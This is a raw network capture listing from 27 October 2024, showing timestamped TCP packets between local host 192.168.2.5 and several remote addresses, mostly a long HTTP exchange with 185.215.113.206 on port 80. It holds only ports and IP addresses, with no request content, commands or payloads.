Oct 27, 2024 17:54:43.776034117 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776045084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776057005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776068926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776070118 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776082993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776096106 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776114941 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776134014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776262045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776272058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776287079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776298046 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776304007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776309967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776314974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776325941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776338100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776350021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776354074 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776381969 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776393890 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776400089 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776407003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776417971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776429892 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776441097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776443005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776453972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776464939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776468039 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776483059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776515961 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776701927 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776719093 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776729107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776771069 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776834011 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776845932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776858091 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.776880980 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.776906013 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.809261084 CET	443	49958	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:43.822681904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.822694063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.822768927 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.823137045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.823148966 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.823208094 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.823219061 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.823229074 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.823266029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.835613012 CET	443	49958	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:43.837058067 CET	49958	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:43.839345932 CET	49958	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:43.839381933 CET	443	49958	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:43.860651970 CET	443	49963	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.860948086 CET	443	49963	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.861032963 CET	49963	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.861083984 CET	49963	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.861083984 CET	49963	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.861128092 CET	443	49963	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.861156940 CET	443	49963	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.864115953 CET	49967	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.864131927 CET	443	49967	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.864268064 CET	49967	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.864456892 CET	49967	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.864465952 CET	443	49967	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.869251966 CET	443	49964	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.869321108 CET	443	49964	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.869429111 CET	443	49964	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.869467974 CET	49964	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.869515896 CET	49964	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.869560003 CET	49964	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.869585991 CET	443	49964	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.869601011 CET	49964	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.869610071 CET	443	49964	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.870774984 CET	443	49962	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.871782064 CET	443	49962	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.871822119 CET	443	49962	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.871848106 CET	49962	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.871884108 CET	49962	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.871949911 CET	49962	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.871958971 CET	443	49962	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.871984005 CET	49962	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.871990919 CET	443	49962	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.872452974 CET	49968	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.872490883 CET	443	49968	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.872983932 CET	49968	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.873142958 CET	49968	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.873186111 CET	443	49968	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.874164104 CET	49969	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.874181032 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.874267101 CET	49969	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.874461889 CET	49969	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.874474049 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.881072044 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.888081074 CET	443	49965	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.888211012 CET	443	49965	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.888305902 CET	49965	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.888531923 CET	49965	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.888537884 CET	443	49965	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.888566971 CET	49965	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.888571024 CET	443	49965	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.891356945 CET	49970	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.891383886 CET	443	49970	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.891455889 CET	49970	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.891597033 CET	49970	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.891619921 CET	443	49970	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.894326925 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894340038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894351959 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894364119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894382954 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894387960 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894396067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894408941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894421101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894442081 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894464970 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894521952 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894545078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894556999 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894575119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894589901 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894601107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894603968 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894613981 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894625902 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894628048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894646883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894649029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894661903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894673109 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894674063 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894697905 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894726992 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894745111 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894757032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894768000 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894793034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894810915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894812107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894828081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894840002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894876957 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894896030 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894907951 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894922972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894933939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.894937038 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.894984007 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895009041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895024061 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895035982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895045996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895057917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895070076 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895086050 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895088911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895101070 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895109892 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895111084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895123005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895139933 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895167112 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895211935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895222902 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895247936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895261049 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895263910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895322084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895344019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895354986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895365953 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895378113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895390034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895395041 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895401955 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895414114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895443916 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895478010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895495892 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895508051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895560026 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895587921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895613909 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895625114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895626068 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895638943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895659924 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895668030 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895668983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895679951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895692110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895701885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895709991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895714045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895740986 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895767927 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895838976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895852089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895863056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895874977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895885944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895895004 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895899057 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895908117 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895911932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895937920 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895941019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.895950079 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.895991087 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896013021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896024942 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896035910 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896049976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896060944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896061897 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896075964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896097898 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896121979 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896162987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896173954 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896184921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896195889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896208048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896241903 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896300077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896379948 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896390915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896409035 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896420002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896430969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896435022 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896440983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896452904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896456957 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896466017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896476030 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896480083 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896492958 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896513939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896550894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896562099 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896574020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896595001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896603107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896612883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896637917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896648884 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896648884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896694899 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896732092 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896742105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896752119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896763086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896780014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896791935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896809101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896821976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896821976 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896835089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896857977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.896862984 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896884918 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.896909952 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.899969101 CET	443	49961	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.900142908 CET	443	49961	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.900214911 CET	49961	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.900279999 CET	49961	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.900279999 CET	49961	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.900296926 CET	443	49961	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.900316954 CET	443	49961	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.902497053 CET	49971	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.902515888 CET	443	49971	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.902580023 CET	49971	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.902712107 CET	49971	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:43.902723074 CET	443	49971	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:43.923293114 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:43.924346924 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:43.924362898 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:43.925338030 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:43.925343037 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:43.925657034 CET	49959	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:43.925668955 CET	443	49959	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:43.927505016 CET	443	49960	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.927989006 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.928034067 CET	443	49960	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:43.928163052 CET	49960	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:43.943327904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.943345070 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.943363905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.943377018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.943388939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.943402052 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.943403959 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.943507910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.986478090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.986532927 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:43.986577034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:43.986650944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017208099 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017234087 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017252922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017265081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017267942 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017286062 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017302990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017307043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017316103 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017328024 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017339945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017350912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017357111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017364979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017379999 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017391920 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017394066 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017404079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017416000 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017421961 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017427921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017447948 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017448902 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017467022 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017478943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017482996 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017503023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017503977 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017515898 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017515898 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017529964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017541885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017554045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017565012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017565966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017577887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.017585993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.017591000 CET	80	49853	185.215.113.206	192.168.2.5
